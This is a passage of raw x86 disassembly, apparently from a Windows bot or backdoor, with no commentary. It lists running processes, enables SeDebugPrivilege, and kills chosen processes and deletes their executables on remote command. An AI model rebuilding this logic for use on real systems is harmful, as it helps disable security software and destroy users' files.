loc_41F782: ; CODE XREF: sub_41F46D+21Dj
; sub_41F46D+227j
cmp [ebp+var_14], 0
mov esi, dword_437044
jz short loc_41F793
push [ebp+var_14]
call esi ; dword_437044
loc_41F793: ; CODE XREF: sub_41F46D+31Fj
cmp [ebp+var_10], 0
jz short loc_41F79E
push [ebp+var_10]
call esi ; dword_437044
loc_41F79E: ; CODE XREF: sub_41F46D+32Aj
push [ebp+var_58]
call sub_42355A
pop ecx
xor eax, eax
loc_41F7A9: ; CODE XREF: sub_41F46D+1B1j
pop edi
pop esi
pop ebx
leave
retn 4
sub_41F46D endp
; =============== S U B R O U T I N E =======================================
sub_41F7B0 proc near ; DATA XREF: sub_40A938+1FD6o
mov eax, offset loc_436584
call sub_42B6FC
mov eax, 2AF8h
call sub_429A90
mov eax, [ebp+8]
push ebx
push esi
push edi
push 31h
mov esi, eax
pop ecx
lea edi, [ebp-0E0h]
rep movsd
mov edi, [ebp-0E0h]
xor esi, esi
xor ebx, ebx
inc esi
cmp [ebp-4Ch], ebx
mov [eax+0BCh], esi
mov [ebp+8], edi
jz loc_41F97A
mov al, [ebp+0Bh]
push ebx
push ebx
lea ecx, [ebp-1Ch]
mov [ebp-1Ch], al
call sub_42021D
mov [ebp-18h], eax
mov [ebp-14h], ebx
push dword ptr [ebp-54h]
lea eax, [ebp-1Ch]
mov [ebp-4], ebx
push eax
call sub_41FB92
pop ecx
test al, al
pop ecx
jz loc_41F919
cmp [ebp-28h], ebx
mov esi, offset aAl_N0kenp20 ; "Al./N0Kenp20"
lea eax, [ebp-0DCh]
push esi
push offset aSProcsList ; "%s Procs List:"
push eax
push edi
jnz short loc_41F842
call sub_41CD84
jmp short loc_41F847
; ---------------------------------------------------------------------------
loc_41F842: ; CODE XREF: sub_41F7B0+89j
call sub_41CD0E
loc_41F847: ; CODE XREF: sub_41F7B0+90j
add esp, 10h
cmp [ebp-30h], ebx
mov edi, offset aPidAMemoryUsag ; " PID - Memory Usage - Process"
jz short loc_41F86C
cmp [ebp-28h], ebx
jnz short loc_41F871
lea eax, [ebp-0DCh]
push edi
push eax
push dword ptr [ebp+8]
call sub_41CD84
add esp, 0Ch
loc_41F86C: ; CODE XREF: sub_41F7B0+A2j
cmp [ebp-28h], ebx
jz short loc_41F884
loc_41F871: ; CODE XREF: sub_41F7B0+A7j
lea eax, [ebp-0DCh]
push edi
push eax
push dword ptr [ebp+8]
call sub_41CD0E
add esp, 0Ch
loc_41F884: ; CODE XREF: sub_41F7B0+BFj
mov eax, [ebp-18h]
mov edi, [eax]
cmp edi, eax
jz short loc_41F8F3
loc_41F88D: ; CODE XREF: sub_41F7B0+13Fj
mov eax, [edi+108h]
lea ebx, [edi+10Ch]
push offset aK ; " K"
push ebx
mov [ebp-10h], eax
call dword_437090 ; lstrcatA
lea eax, [edi+8]
push eax
push ebx
push dword ptr [ebp-10h]
lea eax, [ebp-2B04h]
push offset a6d10sS ; " %-6d- %-10s- \"%s\""
push eax
call sub_429A33
add esp, 14h
cmp dword ptr [ebp-28h], 0
lea eax, [ebp-2B04h]
push eax
lea eax, [ebp-0DCh]
push eax
push dword ptr [ebp+8]
jnz short loc_41F8E2
call sub_41CD84
jmp short loc_41F8E7
; ---------------------------------------------------------------------------
loc_41F8E2: ; CODE XREF: sub_41F7B0+129j
call sub_41CD0E
loc_41F8E7: ; CODE XREF: sub_41F7B0+130j
mov edi, [edi]
add esp, 0Ch
cmp edi, [ebp-18h]
jnz short loc_41F88D
xor ebx, ebx
loc_41F8F3: ; CODE XREF: sub_41F7B0+DBj
cmp [ebp-28h], ebx
lea eax, [ebp-0DCh]
push esi
push offset aSEndOfList ; "%s End of list"
push eax
push dword ptr [ebp+8]
jnz short loc_41F912
call sub_41CD84
loc_41F90D: ; CODE XREF: sub_41F7B0+167j
add esp, 10h
jmp short loc_41F969
; ---------------------------------------------------------------------------
loc_41F912: ; CODE XREF: sub_41F7B0+156j
call sub_41CD0E
jmp short loc_41F90D
; ---------------------------------------------------------------------------
loc_41F919: ; CODE XREF: sub_41F7B0+6Dj
cmp [ebp-28h], ebx
jnz short loc_41F943
call dword_43716C ; RtlGetLastWin32Error
push eax
push offset aYdidb16dnmq_ ; "YdidB16dnMQ."
push offset aAl_N0kenp20 ; "Al./N0Kenp20"
lea eax, [ebp-0DCh]
push offset aSUnableToListP ; "%s Unable to list procs, %s: <%d>"
push eax
push edi
call sub_41CD84
jmp short loc_41F966
; ---------------------------------------------------------------------------
loc_41F943: ; CODE XREF: sub_41F7B0+16Cj
call dword_43716C ; RtlGetLastWin32Error
push eax
push offset aYdidb16dnmq_ ; "YdidB16dnMQ."
push offset aAl_N0kenp20 ; "Al./N0Kenp20"
lea eax, [ebp-0DCh]
push offset aSUnableToListP ; "%s Unable to list procs, %s: <%d>"
push eax
push edi
call sub_41CD0E
loc_41F966: ; CODE XREF: sub_41F7B0+191j
add esp, 18h
loc_41F969: ; CODE XREF: sub_41F7B0+160j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-1Ch]
call sub_42017F
jmp loc_41FB67
; ---------------------------------------------------------------------------
loc_41F97A: ; CODE XREF: sub_41F7B0+3Ej
cmp [ebp-48h], ebx
jz loc_41FB67
cmp [ebp-44h], ebx
jnz loc_41FA62
lea eax, [ebp-0F0h]
push eax
push dword ptr [ebp-58h]
call sub_41FD79
pop ecx
test al, al
pop ecx
jz short loc_41F9E8
cmp [ebp-2Ch], ebx
mov esi, offset aAl_N0kenp20 ; "Al./N0Kenp20"
mov edi, offset aSProSKilledTot ; "%s Pro \"%s\" killed,total: <%s>"
jnz short loc_41F9D3
cmp [ebp-28h], ebx
jnz short loc_41F9DC
lea eax, [ebp-0F0h]
push eax
lea eax, [ebp-0DCh]
push dword ptr [ebp-58h]
push esi
push edi
push eax
push dword ptr [ebp+8]
call sub_41CD84
add esp, 18h
loc_41F9D3: ; CODE XREF: sub_41F7B0+1FEj
cmp [ebp-28h], ebx
jz loc_41FB67
loc_41F9DC: ; CODE XREF: sub_41F7B0+203j
lea eax, [ebp-0F0h]
push eax
push dword ptr [ebp-58h]
jmp short loc_41FA3F
; ---------------------------------------------------------------------------
loc_41F9E8: ; CODE XREF: sub_41F7B0+1EFj
push dword ptr [ebp-58h]
call sub_42A030
push eax
call sub_42003F
pop ecx
mov esi, offset aAl_N0kenp20 ; "Al./N0Kenp20"
test eax, eax
pop ecx
jz short loc_41FA58
mov edi, offset aSPidIKilled ; "%s PID \"%i\" killed"
loc_41FA06: ; CODE XREF: sub_41F7B0+3DDj
cmp [ebp-2Ch], ebx
jnz short loc_41FA2D
cmp [ebp-28h], ebx
jnz short loc_41FA36
push dword ptr [ebp-58h]
call sub_42A030
push eax
push esi
lea eax, [ebp-0DCh]
push edi
push eax
push dword ptr [ebp+8]
call sub_41CD84
add esp, 18h
loc_41FA2D: ; CODE XREF: sub_41F7B0+259j
cmp [ebp-28h], ebx
jz loc_41FB67
loc_41FA36: ; CODE XREF: sub_41F7B0+25Ej
push dword ptr [ebp-58h]
call sub_42A030
push eax
loc_41FA3F: ; CODE XREF: sub_41F7B0+236j
push esi
lea eax, [ebp-0DCh]
push edi
push eax
push dword ptr [ebp+8]
call sub_41CD0E
add esp, 18h
jmp loc_41FB67
; ---------------------------------------------------------------------------
loc_41FA58: ; CODE XREF: sub_41F7B0+24Fj
mov edi, offset aSFailedToKillP ; "%s Failed to kill proc"
jmp loc_41FB30
; ---------------------------------------------------------------------------
loc_41FA62: ; CODE XREF: sub_41F7B0+1D6j
lea eax, [ebp-1F4h]
push eax
push dword ptr [ebp-58h]
call sub_42A030
pop ecx
push eax
call sub_420094
push eax
lea eax, [ebp-1F4h]
push offset aS_5 ; "%s"
push eax
call sub_429A33
lea eax, [ebp-3F4h]
push eax
lea eax, [ebp-2F4h]
push eax
push ebx
lea eax, [ebp-1F4h]
push ebx
push eax
call sub_42BEC5
add esp, 28h
lea eax, [ebp-3F4h]
push eax
lea eax, [ebp-2F4h]
push eax
call dword_437090 ; lstrcatA
xor edi, edi
mov [ebp-10h], ebx
loc_41FAC2: ; CODE XREF: sub_41F7B0+374j
push dword ptr [ebp-58h]
call sub_42A030
push eax
call sub_42003F
pop ecx
test eax, eax
pop ecx
jz short loc_41FAD8
mov edi, esi
loc_41FAD8: ; CODE XREF: sub_41F7B0+324j
lea eax, [ebp-1F4h]
push 80h
push eax
call dword_437068 ; SetFileAttributesA
lea eax, [ebp-1F4h]
push eax
call dword_437060 ; DeleteFileA
test eax, eax
jnz loc_41FB83
cmp edi, ebx
jz short loc_41FB12
lea eax, [ebp-2F4h]
push ebx
push eax
call sub_41FD79
pop ecx
pop ecx
loc_41FB12: ; CODE XREF: sub_41F7B0+351j
push 3E8h
call dword_43718C ; Sleep
inc dword ptr [ebp-10h]
cmp dword ptr [ebp-10h], 5
jl short loc_41FAC2
mov esi, offset aAl_N0kenp20 ; "Al./N0Kenp20"
mov edi, offset aSFailedToKillA ; "%s Failed to kill and erase proc"
loc_41FB30: ; CODE XREF: sub_41F7B0+2ADj
cmp [ebp-2Ch], ebx
jnz short loc_41FB4E
cmp [ebp-28h], ebx
jnz short loc_41FB53
push esi
lea eax, [ebp-0DCh]
push edi
push eax
push dword ptr [ebp+8]
call sub_41CD84
add esp, 10h
loc_41FB4E: ; CODE XREF: sub_41F7B0+383j
cmp [ebp-28h], ebx
jz short loc_41FB67
loc_41FB53: ; CODE XREF: sub_41F7B0+388j
push esi
lea eax, [ebp-0DCh]
push edi
push eax
push dword ptr [ebp+8]
call sub_41CD0E
add esp, 10h
loc_41FB67: ; CODE XREF: sub_41F7B0+1C5j
; sub_41F7B0+1CDj ...
push dword ptr [ebp-5Ch]
call sub_42355A
pop ecx
pop edi
mov ecx, [ebp-0Ch]
pop esi
xor eax, eax
pop ebx
mov large fs:0, ecx
leave
retn 4
; ---------------------------------------------------------------------------
loc_41FB83: ; CODE XREF: sub_41F7B0+349j
mov esi, offset aAl_N0kenp20 ; "Al./N0Kenp20"
mov edi, offset aSPidIKilledAnd ; "%s PID \"%i\" killed and deleted"
jmp loc_41FA06
sub_41F7B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FB92 proc near ; CODE XREF: sub_41F7B0+64p
var_15CC = byte ptr -15CCh
var_5CC = byte ptr -5CCh
var_3CC = byte ptr -3CCh
var_2CC = byte ptr -2CCh
var_1CC = dword ptr -1CCh
var_1C8 = byte ptr -1C8h
var_148 = dword ptr -148h
var_144 = dword ptr -144h
var_140 = byte ptr -140h
var_44 = byte ptr -44h
var_38 = dword ptr -38h
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 15CCh
call sub_429A90
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_15CC]
push 1000h
push eax
call dword_456F10
test eax, eax
jnz short loc_41FBBD
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_41FBBD: ; CODE XREF: sub_41FB92+25j
mov eax, [ebp+var_8]
push edi
shr eax, 2
mov [ebp+var_10], eax
mov eax, dword_4473D8
push 3Fh
mov [ebp+var_148], eax
mov eax, dword_4473DC
pop ecx
push 0
mov [ebp+var_144], eax
pop eax
lea edi, [ebp+var_140]
rep stosd
mov [ebp+var_4], eax
jz loc_41FD74
push ebx
push esi
mov ebx, offset aS_5 ; "%s"
loc_41FBFB: ; CODE XREF: sub_41FB92+1DAj
mov eax, [ebp+var_4]
lea esi, [ebp+eax*4+var_15CC]
push dword ptr [esi]
push 0
push 410h
call dword_437104 ; OpenProcess
mov edi, eax
test edi, edi
jz loc_41FD63
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_C]
push 4
push eax
push edi
call dword_456ECC
test eax, eax
jz loc_41FD5C
lea eax, [ebp+var_148]
push 104h
push eax
push [ebp+var_C]
push edi
call dword_456EC4
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_2CC]
push ebx
push eax
call sub_429A33
mov eax, [esi]
add esp, 0Ch
mov [ebp+var_1CC], eax
lea eax, [ebp+var_44]
push 28h
push eax
push edi
call dword_456F80
test eax, eax
jz short loc_41FCA3
mov eax, [ebp+var_38]
push 0
shr eax, 0Ah
push eax
call sub_427D86
push eax
push ebx
lea eax, [ebp+var_1C8]
push 80h
push eax
call sub_429AEE
add esp, 18h
jmp short loc_41FCC8
; ---------------------------------------------------------------------------
loc_41FCA3: ; CODE XREF: sub_41FB92+E9j
call dword_43716C ; RtlGetLastWin32Error
push eax
push offset aYdidb16dnmq_ ; "YdidB16dnMQ."
push offset aSD_2 ; "%s: <%d>"
lea eax, [ebp+var_1C8]
push 80h
push eax
call sub_429AEE
add esp, 14h
loc_41FCC8: ; CODE XREF: sub_41FB92+10Fj
xor eax, eax
cmp [ebp+arg_4], eax
jz short loc_41FD45
lea ecx, [ebp+var_3CC]
push ecx
lea ecx, [ebp+var_5CC]
push ecx
push eax
push eax
lea eax, [ebp+var_2CC]
push eax
call sub_42BEC5
add esp, 14h
lea eax, [ebp+var_3CC]
push eax
lea eax, [ebp+var_5CC]
push eax
call dword_437090 ; lstrcatA
lea eax, [ebp+var_5CC]
push eax
push [ebp+arg_4]
push offset aSS_4 ; "%s / %s\n"
push offset dword_450EE0
call sub_42C00C
add esp, 10h
lea eax, [ebp+var_5CC]
push eax
push [ebp+arg_4]
call dword_437174 ; lstrcmpiA
test eax, eax
jnz short loc_41FD5C
mov ecx, [ebp+arg_0]
lea edx, [ebp+var_2CC]
push edx
mov eax, [ecx+4]
push eax
lea eax, [ebp+var_18]
jmp short loc_41FD56
; ---------------------------------------------------------------------------
loc_41FD45: ; CODE XREF: sub_41FB92+13Bj
mov ecx, [ebp+arg_0]
lea edx, [ebp+var_2CC]
push edx
mov eax, [ecx+4]
push eax
lea eax, [ebp+var_14]
loc_41FD56: ; CODE XREF: sub_41FB92+1B1j
push eax
call sub_4201AA
loc_41FD5C: ; CODE XREF: sub_41FB92+9Fj
; sub_41FB92+19Ej
push edi
call dword_437044 ; CloseHandle
loc_41FD63: ; CODE XREF: sub_41FB92+86j
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+var_10]
jb loc_41FBFB
pop esi
pop ebx
loc_41FD74: ; CODE XREF: sub_41FB92+5Cj
mov al, 1
pop edi
leave
retn
sub_41FB92 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FD79 proc near ; CODE XREF: sub_40A938+3CEp
; sub_40A938+837Fp ...
var_1148 = dword ptr -1148h
var_148 = byte ptr -148h
var_44 = byte ptr -44h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1148h
call sub_429A90
push ebx
push esi
push 10h
lea eax, [ebp+var_8]
pop esi
xor ebx, ebx
push eax
push ebx
push 28h
mov [ebp+var_1], bl
mov [ebp+var_1C], esi
call dword_437120 ; GetCurrentThread
push eax
call dword_456E28 ; OpenThreadToken
test eax, eax
jnz short loc_41FDC5
lea eax, [ebp+var_8]
push eax
push 28h
call dword_43704C ; GetCurrentProcess
push eax
call dword_456EF8 ; OpenProcessToken
test eax, eax
jnz short loc_41FDC5
mov [ebp+var_8], ebx
loc_41FDC5: ; CODE XREF: sub_41FD79+30j
; sub_41FD79+47j
cmp [ebp+var_8], ebx
jz short loc_41FE1C
lea eax, [ebp+var_30]
mov [ebp+var_34], 1
push eax
push offset aSedebugprivile ; "SeDebugPrivilege"
push ebx
mov [ebp+var_28], 2
call dword_456EBC ; LookupPrivilegeValueA
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_34]
push esi
push eax
push ebx
push [ebp+var_8]
call dword_456F94 ; AdjustTokenPrivileges
test eax, eax
jz short loc_41FE10
call dword_43716C ; RtlGetLastWin32Error
cmp eax, 514h
jnz short loc_41FE1C
loc_41FE10: ; CODE XREF: sub_41FD79+88j
push [ebp+var_8]
call dword_437044 ; CloseHandle
mov [ebp+var_8], ebx
loc_41FE1C: ; CODE XREF: sub_41FD79+4Fj
; sub_41FD79+95j
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_1148]
push 1000h
push eax
call dword_456F10
test eax, eax
jnz short loc_41FE3D
xor al, al
jmp loc_41FF72
; ---------------------------------------------------------------------------
loc_41FE3D: ; CODE XREF: sub_41FD79+BBj
mov esi, [ebp+var_18]
mov [ebp+var_10], ebx
shr esi, 2
mov [ebp+var_24], esi
mov [ebp+var_C], ebx
jz loc_41FF37
push edi
loc_41FE53: ; CODE XREF: sub_41FD79+1B7j
lea eax, [ebp+var_148]
push offset aUnknown ; "unknown"
push eax
call dword_4370A4 ; lstrcpyA
mov eax, [ebp+var_C]
push [ebp+eax*4+var_1148]
push ebx
push 411h
call dword_437104 ; OpenProcess
mov edi, eax
cmp edi, ebx
jz loc_41FF2A
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push 4
push eax
push edi
call dword_456ECC
test eax, eax
jz loc_41FF23
lea eax, [ebp+var_148]
push 104h
push eax
push [ebp+var_20]
push edi
call dword_456E00
lea eax, [ebp+var_148]
mov [ebp+var_14], ebx
push eax
call sub_4292D0
test eax, eax
pop ecx
jbe short loc_41FEF6
mov eax, [ebp+var_C]
lea esi, [ebp+eax+var_148]
loc_41FED2: ; CODE XREF: sub_41FD79+178j
movsx eax, byte ptr [esi]
push eax
call sub_42C1A8
inc [ebp+var_14]
mov [esi], al
lea eax, [ebp+var_148]
push eax
call sub_4292D0
cmp [ebp+var_14], eax
pop ecx
pop ecx
jb short loc_41FED2
mov esi, [ebp+var_24]
loc_41FEF6: ; CODE XREF: sub_41FD79+14Dj
cmp [ebp+arg_0], ebx
jnz short loc_41FF00
mov [ebp+var_1], bl
jmp short loc_41FF23
; ---------------------------------------------------------------------------
loc_41FF00: ; CODE XREF: sub_41FD79+180j
push [ebp+arg_0]
lea eax, [ebp+var_148]
push eax
call dword_437174 ; lstrcmpiA
test eax, eax
jnz short loc_41FF23
inc [ebp+var_10]
push ebx
push edi
call dword_43710C ; TerminateProcess
mov [ebp+var_1], 1
loc_41FF23: ; CODE XREF: sub_41FD79+11Fj
; sub_41FD79+185j ...
push edi
call dword_437044 ; CloseHandle
loc_41FF2A: ; CODE XREF: sub_41FD79+106j
inc [ebp+var_C]
cmp [ebp+var_C], esi
jb loc_41FE53
pop edi
loc_41FF37: ; CODE XREF: sub_41FD79+D3j
cmp [ebp+arg_4], ebx
jz short loc_41FF4F
push [ebp+var_10]
push offset dword_44770C
push [ebp+arg_4]
call sub_429A33
add esp, 0Ch
loc_41FF4F: ; CODE XREF: sub_41FD79+1C1j
cmp [ebp+var_8], ebx
jz short loc_41FF6F
push ebx
push ebx
lea eax, [ebp+var_44]
push 10h
push eax
push ebx
push [ebp+var_8]
call dword_456F94 ; AdjustTokenPrivileges
push [ebp+var_8]
call dword_437044 ; CloseHandle
loc_41FF6F: ; CODE XREF: sub_41FD79+1D9j
mov al, [ebp+var_1]
loc_41FF72: ; CODE XREF: sub_41FD79+BFj
pop esi
pop ebx
leave
retn
sub_41FD79 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FF76 proc near ; CODE XREF: sub_42003F+12p
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
xor edi, edi
push esi
push edi
push 28h
mov [ebp+var_8], 10h
mov [ebp+var_4], edi
call dword_437120 ; GetCurrentThread
push eax
call dword_456E28 ; OpenThreadToken
test eax, eax
jnz short loc_41FFB9
push esi
push 28h
call dword_43704C ; GetCurrentProcess
push eax
call dword_456EF8 ; OpenProcessToken
test eax, eax
jnz short loc_41FFB9
mov [esi], edi
loc_41FFB9: ; CODE XREF: sub_41FF76+2Bj
; sub_41FF76+3Fj
cmp [esi], edi
jz short loc_420010
lea eax, [ebp+var_14]
xor ebx, ebx
push eax
inc ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
push edi
mov [ebp+var_18], ebx
mov [ebp+var_C], 2
call dword_456EBC ; LookupPrivilegeValueA
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_18]
push [ebp+arg_4]
push 10h
push eax
push edi
push dword ptr [esi]
call dword_456F94 ; AdjustTokenPrivileges
test eax, eax
jz short loc_420006
call dword_43716C ; RtlGetLastWin32Error
cmp eax, 514h
jz short loc_420006
mov [ebp+var_4], ebx
jmp short loc_420010
; ---------------------------------------------------------------------------
loc_420006: ; CODE XREF: sub_41FF76+7Cj
; sub_41FF76+89j
push dword ptr [esi]
call dword_437044 ; CloseHandle
mov [esi], edi
loc_420010: ; CODE XREF: sub_41FF76+45j
; sub_41FF76+8Ej
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41FF76 endp
; =============== S U B R O U T I N E =======================================
sub_420018 proc near ; CODE XREF: sub_42003F+47p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
xor ecx, ecx
mov eax, [esi]
cmp eax, ecx
jz short loc_42003D
push ecx
push ecx
push 10h
push [esp+10h+arg_4]
push ecx
push eax
call dword_456F94 ; AdjustTokenPrivileges
push dword ptr [esi]
call dword_437044 ; CloseHandle
loc_42003D: ; CODE XREF: sub_420018+Bj
pop esi
retn
sub_420018 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42003F proc near ; CODE XREF: sub_41F7B0+241p
; sub_41F7B0+31Bp ...
var_14 = byte ptr -14h
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_4]
loc_42004E: ; DATA XREF: ?9:0043BAB8o ?9:0043BAC4o ...
xor ebx, ebx
push eax
call sub_41FF76
pop ecx
pop ecx
push [ebp+arg_0]
push ebx
push 411h
call dword_437104 ; OpenProcess
mov esi, eax
cmp esi, ebx
jz short loc_42007E
push ebx
push esi
call dword_43710C ; TerminateProcess
push esi
mov bl, 1
call dword_437044 ; CloseHandle
loc_42007E: ; CODE XREF: sub_42003F+2Cj
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
call sub_420018
pop ecx
pop ecx
pop esi
movzx eax, bl
pop ebx
leave
retn
sub_42003F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420094 proc near ; CODE XREF: sub_41F7B0+2C3p
var_1114 = byte ptr -1114h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = byte ptr -10Ch
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1114h
call sub_429A90
push ebx
push esi
lea eax, [ebp+var_C]
push edi
push eax
lea eax, [ebp+var_1114]
push 1000h
push eax
call dword_456F10
test eax, eax
jz loc_42017A
mov eax, dword_4473D8
mov ebx, [ebp+var_C]
push 3Fh
mov [ebp+var_114], eax
mov eax, dword_4473DC
pop ecx
mov [ebp+var_110], eax
push offset a??? ; "???"
push [ebp+arg_4]
xor eax, eax
lea edi, [ebp+var_10C]
rep stosd
shr ebx, 2
call dword_4370A4 ; lstrcpyA
xor edi, edi
test ebx, ebx
jbe short loc_420177
loc_4200FF: ; CODE XREF: sub_420094+B0j
lea esi, [ebp+edi*4+var_1114]
push dword ptr [esi]
push 0
push 410h
call dword_437104 ; OpenProcess
test eax, eax
mov [ebp+var_4], eax
jz short loc_420141
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push 4
push ecx
push eax
call dword_456ECC
test eax, eax
jz short loc_420138
mov eax, [ebp+arg_0]
cmp eax, [esi]
jz short loc_420148
loc_420138: ; CODE XREF: sub_420094+9Bj
push [ebp+var_4]
call dword_437044 ; CloseHandle
loc_420141: ; CODE XREF: sub_420094+86j
inc edi
cmp edi, ebx
jb short loc_4200FF
jmp short loc_420177
; ---------------------------------------------------------------------------
loc_420148: ; CODE XREF: sub_420094+A2j
lea eax, [ebp+var_114]
push 104h
push eax
push [ebp+var_8]
push [ebp+var_4]
call dword_456EC4
lea eax, [ebp+var_114]
push eax
push offset aS_5 ; "%s"
push [ebp+arg_4]
call sub_429A33
add esp, 0Ch
loc_420177: ; CODE XREF: sub_420094+69j
; sub_420094+B2j
mov eax, [ebp+arg_4]
loc_42017A: ; CODE XREF: sub_420094+28j
pop edi
pop esi
pop ebx
leave
retn
sub_420094 endp
; =============== S U B R O U T I N E =======================================
sub_42017F proc near ; CODE XREF: sub_41F7B0+1C0p
; ?9:0043657Fj
var_4 = byte ptr -4
push ecx
push esi
mov esi, ecx
mov eax, [esi+4]
push eax
mov ecx, [eax]
lea eax, [esp+0Ch+var_4]
push ecx
push eax
mov ecx, esi
call sub_4201E5
push dword ptr [esi+4]
call sub_429006
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
pop ecx
retn
sub_42017F endp
; =============== S U B R O U T I N E =======================================
sub_4201AA proc near ; CODE XREF: sub_41FB92+1C5p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, [esp+8+arg_4]
push edi
mov ebx, ecx
push dword ptr [esi+4]
push esi
call sub_42021D
mov [esi+4], eax
mov ecx, [eax+4]
lea edi, [eax+8]
test edi, edi
mov [ecx], eax
jz short loc_4201D4
mov esi, [esp+0Ch+arg_8]
push 61h
pop ecx
rep movsd
loc_4201D4: ; CODE XREF: sub_4201AA+1Fj
mov ecx, [esp+0Ch+arg_0]
inc dword ptr [ebx+8]
pop edi
pop esi
mov [ecx], eax
mov eax, ecx
pop ebx
retn 0Ch
sub_4201AA endp
; =============== S U B R O U T I N E =======================================
sub_4201E5 proc near ; CODE XREF: sub_42017F+12p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_4]
push edi
mov edi, ecx
jmp short loc_42020C
; ---------------------------------------------------------------------------
loc_4201EF: ; CODE XREF: sub_4201E5+2Bj
mov eax, esi
mov esi, [esi]
push eax
mov ecx, [eax+4]
mov edx, [eax]
mov [ecx], edx
mov ecx, [eax]
mov edx, [eax+4]
mov [ecx+4], edx
call sub_429006
dec dword ptr [edi+8]
pop ecx
loc_42020C: ; CODE XREF: sub_4201E5+8j
cmp esi, [esp+8+arg_8]
jnz short loc_4201EF
mov eax, [esp+8+arg_0]
pop edi
mov [eax], esi
pop esi
retn 0Ch
sub_4201E5 endp
; =============== S U B R O U T I N E =======================================
sub_42021D proc near ; CODE XREF: sub_41F7B0+4Fp
; sub_4201AA+Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 18Ch
call sub_42B407
pop ecx
mov ecx, [esp+arg_0]
test ecx, ecx
jnz short loc_420232
mov ecx, eax
loc_420232: ; CODE XREF: sub_42021D+11j
mov [eax], ecx
mov ecx, [esp+arg_4]
test ecx, ecx
jnz short loc_42023E
mov ecx, eax
loc_42023E: ; CODE XREF: sub_42021D+1Dj
mov [eax+4], ecx
retn 8
sub_42021D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420244 proc near ; CODE XREF: sub_40A86F+5Dp
; sub_420399+82p
var_154 = byte ptr -154h
var_10C = byte ptr -10Ch
var_106 = byte ptr -106h
var_105 = byte ptr -105h
var_102 = byte ptr -102h
var_101 = byte ptr -101h
var_FD = byte ptr -0FDh
var_F3 = byte ptr -0F3h
var_F2 = byte ptr -0F2h
var_F1 = byte ptr -0F1h
var_EF = byte ptr -0EFh
var_EE = byte ptr -0EEh
var_EC = byte ptr -0ECh
var_E6 = byte ptr -0E6h
var_E5 = byte ptr -0E5h
var_E2 = byte ptr -0E2h
var_E1 = byte ptr -0E1h
var_DE = byte ptr -0DEh
var_DD = byte ptr -0DDh
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 154h
push ebx
push esi
push edi
xor ebx, ebx
push 100h
lea eax, [ebp+var_154]
push ebx
push eax
call sub_429690
mov esi, [ebp+arg_8]
add esp, 0Ch
cmp esi, ebx
jl short loc_4202CD
loc_42026E: ; CODE XREF: sub_420244+87j
mov eax, [ebp+arg_4]
lea ecx, [eax+esi*4]
mov eax, [ecx]
cmp eax, ebx
